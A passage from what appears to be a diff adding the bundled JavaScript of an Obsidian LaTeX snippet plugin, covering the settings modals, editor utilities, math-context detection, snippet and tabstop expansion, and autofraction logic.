snippetsFooter.createDiv("snippets-editor-buttons"); + const reset = new import_obsidian4.ButtonComponent(buttonsDiv); + reset.setIcon("switch").setTooltip("Reset to default snippets").onClick(() => __async(this, null, function* () { + new ConfirmationModal( + this.plugin.app, + "Are you sure? This will delete any custom snippets you have written.", + (button) => button.setButtonText("Reset to default snippets").setWarning(), + () => __async(this, null, function* () { + this.snippetsEditor.setState(import_state3.EditorState.create({ doc: DEFAULT_SNIPPETS, extensions })); + updateValidityIndicator(true); + this.plugin.settings.snippets = DEFAULT_SNIPPETS; + yield this.plugin.saveSettings(); + }) + ).open(); + })); + const remove = new import_obsidian4.ButtonComponent(buttonsDiv); + remove.setIcon("trash").setTooltip("Remove all snippets").onClick(() => __async(this, null, function* () { + new ConfirmationModal( + this.plugin.app, + "Are you sure? This will delete any custom snippets you have written.", + (button) => button.setButtonText("Remove all snippets").setWarning(), + () => __async(this, null, function* () { + const value = `[ + +]`; + this.snippetsEditor.setState(import_state3.EditorState.create({ doc: value, extensions })); + updateValidityIndicator(true); + this.plugin.settings.snippets = value; + yield this.plugin.saveSettings(); + }) + ).open(); + })); + } +}; +var ConfirmationModal = class extends import_obsidian4.Modal { + constructor(app, body, buttonCallback, clickCallback) { + super(app); + this.contentEl.addClass("latex-suite-confirmation-modal"); + this.contentEl.createEl("p", { text: body }); + new import_obsidian4.Setting(this.contentEl).addButton((button) => { + buttonCallback(button); + button.onClick(() => __async(this, null, function* () { + yield clickCallback(); + this.close(); + })); + }).addButton((button) => button.setButtonText("Cancel").onClick(() => this.close())); + } +}; +function createCMEditor(content, extensions) { + const view = new import_view4.EditorView({ + state: import_state3.EditorState.create({ doc: content, extensions }) + }); + return view; +} + +// src/settings/ui/icons.ts +var ICONS = { + "math": ` + + + + + `, + "math-x-divide-y-2": ` + + + + + + + `, + "parentheses": ` + + + + `, + "math-function": ` + + + + + + `, + "math-integral-x": ` + + + + + `, + "brackets-contain": ` + + + + + + + `, + "code-dots": ` + + + + + + + `, + "ballpen": ` + + + + + `, + "superscript": ` + + + + `, + "tabout": ` + + + + + + + + + + ` +}; + +// src/utils/editor_utils.ts +var import_obsidian5 = require("obsidian"); +var import_view5 = require("@codemirror/view"); +function replaceRange(view, start2, end2, replacement) { + view.dispatch({ + changes: { from: start2, to: end2, insert: replacement } + }); +} +function getCharacterAtPos(viewOrState, pos) { + const state = viewOrState instanceof import_view5.EditorView ? viewOrState.state : viewOrState; + const doc = state.doc; + return doc.slice(pos, pos + 1).toString(); +} +function setCursor(view, pos) { + view.dispatch({ + selection: { anchor: pos, head: pos } + }); + resetCursorBlink(); +} +function setSelection(view, start2, end2) { + view.dispatch({ + selection: { anchor: start2, head: end2 } + }); + resetCursorBlink(); +} +function resetCursorBlink() { + if (import_obsidian5.Platform.isMobile) + return; + const cursorLayer = document.getElementsByClassName("cm-cursorLayer")[0]; + if (cursorLayer) { + const curAnim = cursorLayer.style.animationName; + cursorLayer.style.animationName = curAnim === "cm-blink" ? "cm-blink2" : "cm-blink"; + } +} +function reverse(s) { + return s.split("").reverse().join(""); +} +function findMatchingBracket(text, start2, openBracket, closeBracket, searchBackwards, end2) { + if (searchBackwards) { + const reversedIndex = findMatchingBracket(reverse(text), text.length - (start2 + closeBracket.length), reverse(closeBracket), reverse(openBracket), false); + if (reversedIndex === -1) + return -1; + return text.length - (reversedIndex + openBracket.length); + } + let brackets2 = 0; + const stop = end2 ? end2 : text.length; + for (let i = start2; i < stop; i++) { + if (text.slice(i, i + openBracket.length) === openBracket) { + brackets2++; + } else if (text.slice(i, i + closeBracket.length) === closeBracket) { + brackets2--; + if (brackets2 === 0) { + return i; + } + } + } + return -1; +} +function getOpenBracket(closeBracket) { + const openBrackets = { ")": "(", "]": "[", "}": "{" }; + return openBrackets[closeBracket]; +} +function getCloseBracket(openBracket) { + const closeBrackets2 = { "(": ")", "[": "]", "{": "}" }; + return closeBrackets2[openBracket]; +} +function escalateToToken(cursor, dir, target) { + if (cursor.name.contains(target)) { + return cursor.node; + } + while (cursor.name != "Document" && (dir == 0 /* Backward */ && cursor.prev() || dir == 1 /* Forward */ && cursor.next() || cursor.parent())) { + if (cursor.name.contains(target)) { + return cursor.node; + } + } + return null; +} +function isComposing(view, event) { + return view.composing || event.keyCode === 229; +} + +// src/snippets/codemirror/config.ts +var import_view6 = require("@codemirror/view"); +var import_state4 = require("@codemirror/state"); +var latexSuiteConfig = import_state4.Facet.define({ + combine: (input) => { + const settings = input.length > 0 ? input[0] : processLatexSuiteSettings([], DEFAULT_SETTINGS); + return settings; + } +}); +function getLatexSuiteConfig(viewOrState) { + const state = viewOrState instanceof import_view6.EditorView ? viewOrState.state : viewOrState; + return state.facet(latexSuiteConfig); +} +function getLatexSuiteConfigExtension(pluginSettings) { + return latexSuiteConfig.of(pluginSettings); +} + +// src/utils/context.ts +var import_language4 = require("@codemirror/language"); +var Context = class _Context { + static fromState(state) { + const ctx = new _Context(); + const sel = state.selection; + ctx.state = state; + ctx.pos = sel.main.to; + ctx.ranges = Array.from(sel.ranges).reverse(); + ctx.mode = new Mode(); + ctx.boundsCache = /* @__PURE__ */ new Map(); + const codeblockLanguage = langIfWithinCodeblock(state); + const inCode = codeblockLanguage !== null; + const settings = getLatexSuiteConfig(state); + const forceMath = settings.forceMathLanguages.contains(codeblockLanguage); + ctx.mode.codeMath = forceMath; + ctx.mode.code = inCode && !forceMath; + if (ctx.mode.code) + ctx.codeblockLanguage = codeblockLanguage; + const inMath = forceMath || isWithinEquation(state); + if (inMath && !forceMath) { + const inInlineEquation = isWithinInlineEquation(state); + ctx.mode.blockMath = !inInlineEquation; + ctx.mode.inlineMath = inInlineEquation; + } + if (inMath) { + ctx.mode.textEnv = ctx.inTextEnvironment(); + } + ctx.mode.text = !inCode && !inMath; + return ctx; + } + static fromView(view) { + return _Context.fromState(view.state); + } + isWithinEnvironment(pos, env) { + if (!this.mode.inMath()) + return false; + const bounds = this.getInnerBounds(); + if (!bounds) + return; + const { start: start2, end: end2 } = bounds; + const text = this.state.sliceDoc(start2, end2); + pos -= start2; + const openBracket = env.openSymbol.slice(-1); + const closeBracket = getCloseBracket(openBracket); + let offset2; + let openSearchSymbol; + if (["{", "[", "("].contains(openBracket) && env.closeSymbol === closeBracket) { + offset2 = env.openSymbol.length - 1; + openSearchSymbol = openBracket; + } else { + offset2 = 0; + openSearchSymbol = env.openSymbol; + } + let left2 = text.lastIndexOf(env.openSymbol, pos - 1); + while (left2 != -1) { + const right2 = findMatchingBracket(text, left2 + offset2, openSearchSymbol, env.closeSymbol, false); + if (right2 === -1) + return false; + if (right2 >= pos && pos >= left2 + env.openSymbol.length) { + return true; + } + if (left2 <= 0) + return false; + left2 = text.lastIndexOf(env.openSymbol, left2 - 1); + } + return false; + } + inTextEnvironment() { + return this.isWithinEnvironment(this.pos, { openSymbol: "\\text{", closeSymbol: "}" }) || this.isWithinEnvironment(this.pos, { openSymbol: "\\tag{", closeSymbol: "}" }) || this.isWithinEnvironment(this.pos, { openSymbol: "\\begin{", closeSymbol: "}" }) || this.isWithinEnvironment(this.pos, { openSymbol: "\\end{", closeSymbol: "}" }); + } + getBounds(pos = this.pos) { + if (this.boundsCache.has(pos)) { + return this.boundsCache.get(pos); + } + let bounds; + if (this.mode.codeMath) { + bounds = getCodeblockBounds(this.state, pos); + } else { + bounds = getEquationBounds(this.state); + } + this.boundsCache.set(pos, bounds); + return bounds; + } + // Accounts for equations within text environments, e.g. $$\text{... $...$}$$ + getInnerBounds(pos = this.pos) { + let bounds; + if (this.mode.codeMath) { + bounds = getCodeblockBounds(this.state, pos); + } else { + bounds = getInnerEquationBounds(this.state); + } + return bounds; + } +}; +var isWithinEquation = (state) => { + const pos = state.selection.main.to; + const tree = (0, import_language4.syntaxTree)(state); + let syntaxNode = tree.resolveInner(pos, -1); + if (syntaxNode.name.contains("math-end")) + return false; + if (!syntaxNode.parent) { + syntaxNode = tree.resolveInner(pos, 1); + if (syntaxNode.name.contains("math-begin")) + return false; + } + if (!syntaxNode.parent) { + const left2 = tree.resolveInner(pos - 1, -1); + const right2 = tree.resolveInner(pos + 1, 1); + return left2.name.contains("math") && right2.name.contains("math") && !left2.name.contains("math-end"); + } + return syntaxNode.name.contains("math"); +}; +var isWithinInlineEquation = (state) => { + const pos = state.selection.main.to; + const tree = (0, import_language4.syntaxTree)(state); + let syntaxNode = tree.resolveInner(pos, -1); + if (syntaxNode.name.contains("math-end")) + return false; + if (!syntaxNode.parent) { + syntaxNode = tree.resolveInner(pos, 1); + if (syntaxNode.name.contains("math-begin")) + return false; + } + if (!syntaxNode.parent) + syntaxNode = tree.resolveInner(pos - 1, -1); + const cursor = syntaxNode.cursor(); + const res = escalateToToken(cursor, 0 /* Backward */, "math-begin"); + return !(res == null ? void 0 : res.name.contains("math-block")); +}; +var getEquationBounds = (state, pos) => { + if (!pos) + pos = state.selection.main.to; + const tree = (0, import_language4.syntaxTree)(state); + let syntaxNode = tree.resolveInner(pos, -1); + if (!syntaxNode.parent) { + syntaxNode = tree.resolveInner(pos, 1); + } + if (!syntaxNode.parent) + syntaxNode = tree.resolveInner(pos - 1, -1); + const cursor = syntaxNode.cursor(); + const begin = escalateToToken(cursor, 0 /* Backward */, "math-begin"); + const end2 = escalateToToken(cursor, 1 /* Forward */, "math-end"); + if (begin && end2) { + return { start: begin.to, end: end2.from }; + } else { + return null; + } +}; +var getInnerEquationBounds = (state, pos) => { + if (!pos) + pos = state.selection.main.to; + let text = state.doc.toString(); + text = text.replaceAll("\\$", "\\R"); + const left2 = text.lastIndexOf("$", pos - 1); + const right2 = text.indexOf("$", pos); + if (left2 === -1 || right2 === -1) + return null; + return { start: left2 + 1, end: right2 }; +}; +var getCodeblockBounds = (state, pos = state.selection.main.from) => { + const tree = (0, import_language4.syntaxTree)(state); + let cursor = tree.cursorAt(pos, -1); + const blockBegin = escalateToToken(cursor, 0 /* Backward */, "HyperMD-codeblock-begin"); + cursor = tree.cursorAt(pos, -1); + const blockEnd = escalateToToken(cursor, 1 /* Forward */, "HyperMD-codeblock-end"); + return { start: blockBegin.to + 1, end: blockEnd.from - 1 }; +}; +var langIfWithinCodeblock = (state) => { + const tree = (0, import_language4.syntaxTree)(state); + const pos = state.selection.ranges[0].from; + const cursor = pos === 0 || getCharacterAtPos(state, pos - 1) === "\n" ? tree.cursorAt(pos, 1) : tree.cursorAt(pos, -1); + const inCodeblock = cursor.name.contains("codeblock"); + if (!inCodeblock) { + return null; + } + const codeblockBegin = escalateToToken(cursor, 0 /* Backward */, "HyperMD-codeblock_HyperMD-codeblock-begin"); + if (codeblockBegin == null) { + console.warn("unable to locate start of the codeblock even though inside one"); + return ""; + } + const language = state.sliceDoc(codeblockBegin.from, codeblockBegin.to).replace(/`+/, ""); + return language; +}; + +// src/features/editor_commands.ts +function boxCurrentEquation(view) { + const ctx = Context.fromView(view); + const result = ctx.getBounds(); + if (!result) + return false; + const { start: start2, end: end2 } = result; + let equation = "\\boxed{" + view.state.sliceDoc(start2, end2) + "}"; + const insideBlockEqn = view.state.sliceDoc(start2 - 2, start2) === "$$" && view.state.sliceDoc(end2, end2 + 2) === "$$"; + if (insideBlockEqn) + equation = "\n" + equation + "\n"; + const pos = view.state.selection.main.to; + replaceRange(view, start2, end2, equation); + setCursor(view, pos + "\\boxed{".length + (insideBlockEqn ? 1 : 0)); +} +function getBoxEquationCommand() { + return { + id: "latex-suite-box-equation", + name: "Box current equation", + editorCheckCallback: (checking, editor) => { + const view = editor.cm; + const ctx = Context.fromView(view); + const withinEquation = ctx.mode.inMath(); + if (checking) + return withinEquation; + if (!withinEquation) + return; + boxCurrentEquation(view); + return; + } + }; +} +function getSelectEquationCommand() { + return { + id: "latex-suite-select-equation", + name: "Select current equation", + editorCheckCallback: (checking, editor) => { + const view = editor.cm; + const ctx = Context.fromView(view); + const withinEquation = ctx.mode.inMath(); + if (checking) + return withinEquation; + if (!withinEquation) + return; + const result = ctx.getBounds(); + if (!result) + return false; + let { start: start2, end: end2 } = result; + const doc = view.state.doc.toString(); + if (doc.charAt(start2) === "\n") + start2++; + if (doc.charAt(end2 - 1) === "\n") + end2--; + setSelection(view, start2, end2); + return; + } + }; +} +function getEnableAllFeaturesCommand(plugin) { + return { + id: "latex-suite-enable-all-features", + name: "Enable all features", + callback: () => __async(this, null, function* () { + plugin.settings.snippetsEnabled = true; + plugin.settings.autofractionEnabled = true; + plugin.settings.matrixShortcutsEnabled = true; + plugin.settings.taboutEnabled = true; + plugin.settings.autoEnlargeBrackets = true; + yield plugin.saveSettings(); + }) + }; +} +function getDisableAllFeaturesCommand(plugin) { + return { + id: "latex-suite-disable-all-features", + name: "Disable all features", + callback: () => __async(this, null, function* () { + plugin.settings.snippetsEnabled = false; + plugin.settings.autofractionEnabled = false; + plugin.settings.matrixShortcutsEnabled = false; + plugin.settings.taboutEnabled = false; + plugin.settings.autoEnlargeBrackets = false; + yield plugin.saveSettings(); + }) + }; +} +var getEditorCommands = (plugin) => { + return [ + getBoxEquationCommand(), + getSelectEquationCommand(), + getEnableAllFeaturesCommand(plugin), + getDisableAllFeaturesCommand(plugin) + ]; +}; + +// src/snippets/codemirror/snippet_queue_state_field.ts +var import_state5 = require("@codemirror/state"); + +// src/snippets/codemirror/snippet_change_spec.ts +var SnippetChangeSpec = class { + constructor(from, to, insert, keyPressed) { + this.from = from; + this.to = to; + this.insert = insert; + this.keyPressed = keyPressed; + } + getTabstops(view, start2) { + const tabstops = []; + const text = view.state.doc.toString(); + for (let i = start2; i < start2 + this.insert.length; i++) { + if (!(text.charAt(i) === "$")) { + continue; + } + let number2 = parseInt(text.charAt(i + 1)); + const tabstopStart = i; + let tabstopEnd = tabstopStart + 2; + let tabstopReplacement = ""; + if (isNaN(number2)) { + if (!(text.charAt(i + 1) === "{")) + continue; + const closingIndex = findMatchingBracket(text, i + 1, "{", "}", false, start2 + this.insert.length); + const tabstopString = text.slice(i, closingIndex + 1); + if (!tabstopString.includes(":")) + continue; + const colonIndex = tabstopString.indexOf(":"); + number2 = parseInt(tabstopString.slice(2, colonIndex)); + if (isNaN(number2)) + continue; + if (closingIndex === -1) + continue; + tabstopReplacement = text.slice(i + colonIndex + 1, closingIndex); + tabstopEnd = closingIndex + 1; + i = closingIndex; + } + const tabstop = { number: number2, from: tabstopStart, to: tabstopEnd, replacement: tabstopReplacement }; + tabstops.push(tabstop); + } + return tabstops; + } + toChangeSpec() { + return this; + } +}; + +// src/snippets/codemirror/snippet_queue_state_field.ts +var queueSnippetEffect = import_state5.StateEffect.define(); +var clearSnippetQueueEffect = import_state5.StateEffect.define(); +var snippetQueueStateField = import_state5.StateField.define({ + create() { + return []; + }, + update(oldState, transaction) { + let snippetQueue = oldState; + for (const effect4 of transaction.effects) { + if (effect4.is(queueSnippetEffect)) { + snippetQueue.push(effect4.value); + } else if (effect4.is(clearSnippetQueueEffect)) { + snippetQueue = []; + } + } + return snippetQueue; + } +}); +function queueSnippet(view, from, to, insert, keyPressed) { + const snippet = new SnippetChangeSpec(from, to, insert, keyPressed); + view.dispatch({ + effects: [queueSnippetEffect.of(snippet)] + }); +} +function clearSnippetQueue(view) { + view.dispatch({ + effects: [clearSnippetQueueEffect.of(null)] + }); +} + +// src/snippets/snippet_management.ts +var import_state9 = require("@codemirror/state"); + +// src/snippets/codemirror/history.ts +var import_state7 = require("@codemirror/state"); +var import_commands2 = require("@codemirror/commands"); + +// src/snippets/codemirror/tabstops_state_field.ts +var import_view7 = require("@codemirror/view"); +var import_state6 = require("@codemirror/state"); +var addTabstopsEffect = import_state6.StateEffect.define(); +var removeAllTabstopsEffect = import_state6.StateEffect.define(); +var tabstopsStateField = import_state6.StateField.define({ + create() { + return []; + }, + update(value, transaction) { + let tabstopGroups = value; + tabstopGroups.forEach((grp) => grp.map(transaction.changes)); + for (const effect4 of transaction.effects) { + if (effect4.is(addTabstopsEffect)) { + tabstopGroups.unshift(...effect4.value); + } else if (effect4.is(removeAllTabstopsEffect)) { + tabstopGroups = []; + } + } + if (transaction.selection) { + const currTabstopGroupIndex = getCurrentTabstopGroupIndex( + tabstopGroups, + transaction.selection + ); + tabstopGroups = tabstopGroups.slice(currTabstopGroupIndex); + if (tabstopGroups.length <= 1) { + tabstopGroups = []; + } else { + tabstopGroups[0].hideFromEditor(); + } + } + return tabstopGroups; + }, + provide: (field) => { + return import_view7.EditorView.decorations.of((view) => { + const tabstopGroups = view.state.field(field); + const decos = []; + for (const tabstopGroup of tabstopGroups) { + if (!tabstopGroup.hidden) + decos.push(...tabstopGroup.getRanges()); + } + return import_view7.Decoration.set(decos, true); + }); + } +}); +function getCurrentTabstopGroupIndex(tabstopGroups, sel) { + for (let i = 0; i < tabstopGroups.length; i++) { + const tabstopGroup = tabstopGroups[i]; + if (tabstopGroup.containsSelection(sel)) + return i; + } + return tabstopGroups.length; +} +function getTabstopGroupsFromView(view) { + const currentTabstopGroups = view.state.field(tabstopsStateField); + return currentTabstopGroups; +} +function addTabstops(view, tabstopGroups) { + view.dispatch({ + effects: [addTabstopsEffect.of(tabstopGroups)] + }); +} +function removeAllTabstops(view) { + view.dispatch({ + effects: [removeAllTabstopsEffect.of(null)] + }); +} +var N_COLORS = 3; +function getNextTabstopColor(view) { + const field = view.state.field(tabstopsStateField); + const existingColors = field.map((tabstopGroup) => tabstopGroup.color); + const uniqueExistingColors = new Set(existingColors); + for (let i = 0; i < N_COLORS; i++) { + if (!uniqueExistingColors.has(i)) + return i; + } + return 0; +} + +// src/snippets/codemirror/history.ts +var startSnippet = import_state7.StateEffect.define(); +var endSnippet = import_state7.StateEffect.define(); +var undidStartSnippet = import_state7.StateEffect.define(); +var undidEndSnippet = import_state7.StateEffect.define(); +var snippetInvertedEffects = import_commands2.invertedEffects.of((tr) => { + const effects = []; + for (const effect4 of tr.effects) { + if (effect4.is(startSnippet)) { + effects.push(undidStartSnippet.of(null)); + } else if (effect4.is(undidStartSnippet)) { + effects.push(startSnippet.of(null)); + } else if (effect4.is(endSnippet)) { + effects.push(undidEndSnippet.of(null)); + } else if (effect4.is(undidEndSnippet)) { + effects.push(endSnippet.of(null)); + } + } + return effects; +}); +var handleUndoRedo = (update) => { + const undoTr = update.transactions.find((tr) => tr.isUserEvent("undo")); + const redoTr = update.transactions.find((tr) => tr.isUserEvent("redo")); + for (const tr of update.transactions) { + for (const effect4 of tr.effects) { + if (effect4.is(startSnippet)) { + if (redoTr) { + (0, import_commands2.redo)(update.view); + } + } else if (effect4.is(undidEndSnippet)) { + if (undoTr) { + (0, import_commands2.undo)(update.view); + } + } + } + } + if (undoTr) { + removeAllTabstops(update.view); + } +}; + +// src/snippets/snippet_management.ts +var import_commands3 = require("@codemirror/commands"); + +// src/snippets/tabstop.ts +var import_state8 = require("@codemirror/state"); +var import_view8 = require("@codemirror/view"); +var LATEX_SUITE_TABSTOP_DECO_CLASS = "latex-suite-snippet-placeholder"; +function getMarkerDecoration(from, to, color) { + const className = `${LATEX_SUITE_TABSTOP_DECO_CLASS} ${LATEX_SUITE_TABSTOP_DECO_CLASS}-${color}`; + return import_view8.Decoration.mark({ + inclusive: true, + color, + class: className + }).range(from, to); +} +var TabstopGroup = class { + constructor(tabstopSpecs, color) { + const decos = tabstopSpecs.map((spec) => getMarkerDecoration(spec.from, spec.to, color)); + this.decos = import_view8.Decoration.set(decos, true); + this.color = color; + this.hidden = false; + } + select(view, selectEndpoints, isEndSnippet) { + const sel = this.toEditorSelection(); + const toSelect = selectEndpoints ? getEditorSelectionEndpoints(sel) : sel; + view.dispatch({ + selection: toSelect, + effects: isEndSnippet ? endSnippet.of(null) : null + }); + resetCursorBlink(); + this.hideFromEditor(); + } + toSelectionRanges() { + const ranges = []; + const cur = this.decos.iter(); + while (cur.value != null) { + ranges.push(import_state8.EditorSelection.range(cur.from, cur.to)); + cur.next(); + } + return ranges; + } + toEditorSelection(endpoints = false) { + let sel = import_state8.EditorSelection.create(this.toSelectionRanges()); + if (endpoints) + sel = getEditorSelectionEndpoints(sel); + return sel; + } + containsSelection(selection) { + function rangeLiesWithinSelection(range, sel) { + for (const selRange of sel) { + if (selRange.from <= range.from && selRange.to >= range.to) { + return true; + } + } + return false; + } + const tabstopRanges = this.toSelectionRanges(); + let result = true; + for (const range of selection.ranges) { + if (!rangeLiesWithinSelection(range, tabstopRanges)) { + result = false; + break; + } + } + return result; + } + hideFromEditor() { + this.hidden = true; + } + map(changes) { + this.decos = this.decos.map(changes); + } + getRanges() { + const ranges = []; + const cur = this.decos.iter(); + while (cur.value != null) { + if (cur.from != cur.to) { + ranges.push(cur.value.range(cur.from, cur.to)); + } + cur.next(); + } + return ranges; + } +}; +function tabstopSpecsToTabstopGroups(tabstops, color) { + const tabstopsByNumber = {}; + for (const tabstop of tabstops) { + const n = String(tabstop.number); + if (tabstopsByNumber[n]) { + tabstopsByNumber[n].push(tabstop); + } else { + tabstopsByNumber[n] = [tabstop]; + } + } + const result = []; + const numbers = Object.keys(tabstopsByNumber); + numbers.sort((a, b) => parseInt(a) - parseInt(b)); + for (const number2 of numbers) { + const grp = new TabstopGroup(tabstopsByNumber[number2], color); + result.push(grp); + } + return result; +} +function getEditorSelectionEndpoints(sel) { + const endpoints = sel.ranges.map((range) => import_state8.EditorSelection.range(range.to, range.to)); + return import_state8.EditorSelection.create(endpoints); +} + +// src/snippets/snippet_management.ts +function expandSnippets(view) { + const snippetsToExpand = view.state.field(snippetQueueStateField); + if (snippetsToExpand.length === 0) + return false; + const originalDocLength = view.state.doc.length; + handleUndoKeypresses(view, snippetsToExpand); + const tabstopsToAdd = computeTabstops(view, snippetsToExpand, originalDocLength); + if (tabstopsToAdd.length === 0) { + clearSnippetQueue(view); + return true; + } + markTabstops(view, tabstopsToAdd); + expandTabstops(view, tabstopsToAdd); + clearSnippetQueue(view); + return true; +} +function handleUndoKeypresses(view, snippets2) { + const originalDoc = view.state.doc; + const originalDocLength = originalDoc.length; + const keyPresses = []; + for (const snippet of snippets2) { + if (snippet.keyPressed && snippet.keyPressed.length === 1) { + const prevChar = view.state.doc.sliceString(snippet.to - 1, snippet.to); + const from = snippet.to === 0 ? 0 : snippet.to - 1; + keyPresses.push({ from, to: snippet.to, insert: prevChar + snippet.keyPressed }); + } + } + view.dispatch({ + changes: keyPresses, + annotations: import_commands3.isolateHistory.of("full") + }); + const undoKeyPresses = import_state9.ChangeSet.of(keyPresses, originalDocLength).invert(originalDoc); + const changesAsChangeSet = import_state9.ChangeSet.of(snippets2, originalDocLength); + const combinedChanges = undoKeyPresses.compose(changesAsChangeSet); + view.dispatch({ + changes: combinedChanges, + effects: startSnippet.of(null) + }); +} +function computeTabstops(view, snippets2, originalDocLength) { + const changeSet = import_state9.ChangeSet.of(snippets2, originalDocLength); + const oldPositions = snippets2.map((change) => change.from); + const newPositions = oldPositions.map((pos) => changeSet.mapPos(pos)); + const tabstopsToAdd = []; + for (let i = 0; i < snippets2.length; i++) { + tabstopsToAdd.push(...snippets2[i].getTabstops(view, newPositions[i])); + } + return tabstopsToAdd; +} +function markTabstops(view, tabstops) { + const color = getNextTabstopColor(view); + const tabstopGroups = tabstopSpecsToTabstopGroups(tabstops, color); + addTabstops(view, tabstopGroups); +} +function expandTabstops(view, tabstops) { + const changes = tabstops.map((tabstop) => { + return { from: tabstop.from, to: tabstop.to, insert: tabstop.replacement }; + }); + view.dispatch({ + changes + }); + const firstGrp = getTabstopGroupsFromView(view)[0]; + firstGrp.select(view, false, true); +} +function setSelectionToNextTabstop(view) { + const tabstopGroups = view.state.field(tabstopsStateField); + function aux(nextGrpIndex) { + const nextGrp = tabstopGroups[nextGrpIndex]; + if (!nextGrp) + return false; + const currSel = view.state.selection; + let nextGrpSel = nextGrp.toEditorSelection(); + if (nextGrp.containsSelection(currSel)) { + nextGrpSel = nextGrp.toEditorSelection(true); + } + if (currSel.eq(nextGrpSel)) + return aux(nextGrpIndex + 1); + view.dispatch({ + selection: nextGrpSel + }); + resetCursorBlink(); + return true; + } + return aux(1); +} + +// src/features/auto_enlarge_brackets.ts +var autoEnlargeBrackets = (view) => { + const settings = getLatexSuiteConfig(view); + if (!settings.autoEnlargeBrackets) + return; + const ctx = Context.fromView(view); + const result = ctx.getBounds(); + if (!result) + return false; + const { start: start2, end: end2 } = result; + const text = view.state.doc.toString(); + const left2 = "\\left"; + const right2 = "\\right"; + for (let i = start2; i < end2; i++) { + const brackets2 = { "(": ")", "[": "]", "\\{": "\\}", "\\langle": "\\rangle", "\\lvert": "\\rvert", "\\lVert": "\\rVert", "\\lceil": "\\rceil", "\\lfloor": "\\rfloor" }; + const openBrackets = Object.keys(brackets2); + let found = false; + let open = ""; + for (const openBracket of openBrackets) { + if (text.slice(i, i + openBracket.length) === openBracket) { + found = true; + open = openBracket; + break; + } + } + if (!found) + continue; + const bracketSize = open.length; + const close = brackets2[open]; + const j = findMatchingBracket(text, i, open, close, false, end2); + if (j === -1) + continue; + if (text.slice(i - left2.length, i) === left2 && text.slice(j - right2.length, j) === right2) + continue; + const bracketContents = text.slice(i + 1, j); + const containsTrigger = settings.autoEnlargeBracketsTriggers.some((word) => bracketContents.contains("\\" + word)); + if (!containsTrigger) { + i = j; + continue; + } + queueSnippet(view, i, i + bracketSize, left2 + open + " "); + queueSnippet(view, j, j + bracketSize, " " + right2 + close); + } + expandSnippets(view); +}; + +// src/features/run_snippets.ts +var runSnippets = (view, ctx, key) => { + let shouldAutoEnlargeBrackets = false; + for (const range of ctx.ranges) { + const result = runSnippetCursor(view, ctx, key, range); + if (result.shouldAutoEnlargeBrackets) + shouldAutoEnlargeBrackets = true; + } + const success = expandSnippets(view); + if (shouldAutoEnlargeBrackets) { + autoEnlargeBrackets(view); + } + return success; +}; +var runSnippetCursor = (view, ctx, key, range) => { + const settings = getLatexSuiteConfig(view); + const { from, to } = range; + const sel = view.state.sliceDoc(from, to); + const line = view.state.sliceDoc(0, to); + const updatedLine = line + key; + for (const snippet of settings.snippets) { + let effectiveLine = line; + if (!snippetShouldRunInMode(snippet.options, ctx.mode)) { + continue; + } + if (snippet.options.automatic || snippet.type === "visual") { + if (!(key.length === 1)) + continue; + effectiveLine = updatedLine; + } else if (!(key === settings.snippetsTrigger)) { + continue; + } + let isExcluded = false; + for (const environment of snippet.excludedEnvironments) { + if (ctx.isWithinEnvironment(to, environment)) { + isExcluded = true; + } + } + if (isExcluded) { + continue; + } + const result = snippet.process(effectiveLine, range, sel); + if (result === null) + continue; + const triggerPos = result.triggerPos; + if (snippet.options.onWordBoundary) { + if (!isOnWordBoundary(view.state, triggerPos, to, settings.wordDelimiters)) + continue; + } + let replacement = result.replacement; + if (ctx.mode.inlineMath && settings.removeSnippetWhitespace) { + replacement = trimWhitespace(replacement, ctx); + } + const start2 = triggerPos; + queueSnippet(view, start2, to, replacement, key); + const containsTrigger = settings.autoEnlargeBracketsTriggers.some((word) => replacement.contains("\\" + word)); + return { success: true, shouldAutoEnlargeBrackets: containsTrigger }; + } + return { success: false, shouldAutoEnlargeBrackets: false }; +}; +var snippetShouldRunInMode = (options, mode) => { + if (options.mode.inlineMath && mode.inlineMath || options.mode.blockMath && mode.blockMath || (options.mode.inlineMath || options.mode.blockMath) && mode.codeMath) { + if (!mode.textEnv) { + return true; + } + } + if (mode.inMath() && mode.textEnv && options.mode.text) { + return true; + } + if (options.mode.text && mode.text || options.mode.code && mode.code) { + return true; + } +}; +var isOnWordBoundary = (state, triggerPos, to, wordDelimiters) => { + const prevChar = state.sliceDoc(triggerPos - 1, triggerPos); + const nextChar = state.sliceDoc(to, to + 1); + wordDelimiters = wordDelimiters.replace("\\n", "\n"); + return wordDelimiters.contains(prevChar) && wordDelimiters.contains(nextChar); +}; +var trimWhitespace = (replacement, ctx) => { + let spaceIndex = 0; + if (replacement.endsWith(" ")) { + spaceIndex = -1; + } else { + const lastThreeChars = replacement.slice(-3); + const lastChar = lastThreeChars.slice(-1); + if (lastThreeChars.slice(0, 2) === " $" && !isNaN(parseInt(lastChar))) { + spaceIndex = -3; + } + } + if (spaceIndex != 0) { + if (spaceIndex === -1) { + replacement = replacement.trimEnd(); + } else if (spaceIndex === -3) { + replacement = replacement.slice(0, -3) + replacement.slice(-2); + } + } + return replacement; +}; + +// src/features/autofraction.ts +var runAutoFraction = (view, ctx) => { + for (const range of ctx.ranges) { + runAutoFractionCursor(view, ctx, range); + } + const success = expandSnippets(view); + if (success) { + autoEnlargeBrackets(view); + } + return success; +}; +var runAutoFractionCursor = (view, ctx, range) => { + const settings = getLatexSuiteConfig(view); + const { from, to } = range; + for (const env of settings.autofractionExcludedEnvs) { + if (ctx.isWithinEnvironment(to, env)) { + return false; + } + } + const result = ctx.getBounds(); + if (!result) + return false; + const eqnStart = result.start; + let curLine = view.state.sliceDoc(0, to); + let start2 = eqnStart; + if (from != to) { + start2 = from; + } else { + const greek2 = "alpha|beta|gamma|Gamma|delta|Delta|epsilon|varepsilon|zeta|eta|theta|Theta|iota|kappa|lambda|Lambda|mu|nu|omicron|xi|Xi|pi|Pi|rho|sigma|Sigma|tau|upsilon|Upsilon|varphi|phi|Phi|chi|psi|Psi|omega|Omega"; + const regex = new RegExp("(" + greek2 + ") ([^ ])", "g"); + curLine = curLine.replace(regex, "$1#$2"); + for (let i = curLine.length - 1; i >= eqnStart; i--) { + const curChar = curLine.charAt(i); + if ([")", "]", "}"].contains(curChar)) { + const closeBracket = curChar; + const openBracket = getOpenBracket(closeBracket); + const j = findMatchingBracket(curLine, i, openBracket, closeBracket, true); + if (j === -1) + return false; + i = j; + if (i < eqnStart) { + start2 = eqnStart; + break; + } + } + if (" $([{\n".concat(settings.autofractionBreakingChars).contains(curChar)) { + start2 = i + 1; + break; + } + } + } + if (start2 === to) { + return false; + } + let numerator = 